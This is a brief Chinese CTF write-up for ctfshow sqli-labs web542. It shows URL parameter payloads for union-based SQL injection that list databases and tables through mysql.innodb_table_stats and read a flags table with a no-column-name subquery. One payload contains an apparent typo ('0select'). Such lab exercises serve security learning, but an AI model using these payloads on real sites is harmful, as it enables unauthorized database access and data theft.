ctfshow sqli-labs web542

这个题本来是考验双写绕过的，不过一时心血来潮，想要试试过滤or后的无列名注入。。

首先他长这个样子

明示过滤了or和and，这里就按照完全过滤来做。

首先查数据库都有什么

?id=-1 union select 1,group_concat(database_name),3 from mysql.innodb_table_stats -- -

然后查表名

?id=-1 union select 1,group_concat(table_name),3 from mysql.innodb_table_stats -- -

 

然后使用无列名注入

?id=-1 union 0select 1,group_concat(b),3 from (select 1,2 as b union select * from ctfshow.flags limit 1,1)a -- -

直接出结果，但是这里要注意，from后的查询行数可能和当前数据库不同，这里是3列，那个数据库是2列，要注意修改